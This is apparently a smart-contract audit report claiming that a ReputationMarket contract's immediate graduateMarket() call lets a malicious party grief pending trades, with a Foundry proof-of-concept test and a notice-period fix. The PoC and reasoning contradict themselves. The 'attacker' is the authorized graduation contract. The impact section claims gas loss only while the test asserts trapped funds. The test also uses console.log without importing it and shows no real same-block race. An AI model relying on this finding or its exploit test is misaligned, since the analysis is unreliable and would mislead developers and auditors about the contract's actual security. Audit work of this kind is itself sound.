Skip to content

Latest commit

 

History

History
142 lines (105 loc) · 4.95 KB

File metadata and controls

142 lines (105 loc) · 4.95 KB

Fun Crepe Lobster

Medium

Malicious actors will block market graduations through precision-based race conditions

Summary

Lack of minimum notice period in market graduation will cause denial of service for market participants as malicious actors will manipulate graduation timing to trap user funds through precision-based race conditions.

Root Cause

In ReputationMarket.sol:L605-L607 the market graduation executes immediately without a waiting period, allowing abrupt state changes that can trap user transactions in flight.

Internal Pre-conditions

  1. Market owner needs to set market state to be active (not graduated)
  2. Market needs to have total funds to be at least 1 ETH
  3. Authorized graduation contract needs to be set in contractAddressManager

External Pre-conditions

  1. Market graduation transaction needs to be mined within same block as user trade
  2. Trade transaction needs to involve at least 0.1 ETH in value

Attack Path

  1. Attacker monitors mempool for large market trades
  2. Attacker identifies pending trade transaction
  3. Authorized contract calls graduateMarket() targeting same block
  4. Market graduates before trade completes
  5. User transaction fails due to market state change

Impact

The traders suffer an approximate loss of gas fees (0.01-0.05 ETH per failed transaction). The attacker doesn't gain these funds but disrupts market operations (griefing).

PoC

// SPDX-License-Identifier: MIT pragma solidity 0.8.26;

import {ReputationMarket} from "./ReputationMarket.sol"; import {Test} from "forge-std/Test.sol";

contract GraduationExploitTest is Test { ReputationMarket public market; address public trader = address(0x1); address public graduationContract = address(0x2); uint256 public profileId = 1;

function setUp() public {
    // Deploy and setup market
    market = new ReputationMarket();
    market.initialize(
        address(this), // owner
        address(this), // admin
        address(0),    // signer
        address(0),    // verifier
        address(this)  // contract manager
    );
    
    // Setup graduation contract
    vm.mockCall(
        address(this),
        abi.encodeWithSignature("getContractAddressForName(string)"),
        abi.encode(graduationContract)
    );
    
    // Create market and add funds
    market.createMarket{value: 5 ether}();
    
    // Fund trader
    vm.deal(trader, 10 ether);
}

function testGraduationRaceCondition() public {
    // Step 1: Setup pending trade
    vm.startPrank(trader);
    bytes memory tradeCalldata = abi.encodeWithSelector(
        market.buyVotes.selector,
        profileId,
        true,    // isPositive
        1000,    // maxVotesToBuy
        1        // minVotesToBuy
    );
    
    // Step 2: Prepare graduation transaction
    bytes memory graduateCalldata = abi.encodeWithSelector(
        market.graduateMarket.selector,
        profileId
    );
    
    // Step 3: Execute race condition
    vm.stopPrank();
    vm.prank(graduationContract);
    
    // Graduate market in same block as trade
    vm.roll(block.number + 1);
    market.graduateMarket(profileId);
    
    // Try to execute trade after graduation
    vm.prank(trader);
    (bool success,) = address(market).call{value: 1 ether}(tradeCalldata);
    
    // Verify trade failed
    assertFalse(success, "Trade should have failed after graduation");
    
    // Verify funds are stuck
    uint256 marketFunds = market.marketFunds(profileId);
    assertTrue(marketFunds > 0, "Market should have trapped funds");
    
    console.log("Trapped funds in market:", marketFunds);
}

}

Mitigation

mapping(uint256 => uint256) public graduationNotices; uint256 constant GRADUATION_NOTICE_PERIOD = 1 days;

function announceGraduation(uint256 profileId) public { address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); if (msg.sender != authorizedAddress) revert UnauthorizedGraduation();

graduationNotices[profileId] = block.timestamp;
emit GraduationAnnounced(profileId);

}

function graduateMarket(uint256 profileId) public whenNotPaused activeMarket(profileId) nonReentrant { require( graduationNotices[profileId] > 0 && block.timestamp >= graduationNotices[profileId] + GRADUATION_NOTICE_PERIOD, "Graduation notice period not elapsed" );

address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL");
if (msg.sender != authorizedAddress) revert UnauthorizedGraduation();

graduatedMarkets[profileId] = true;
emit MarketGraduated(profileId);

}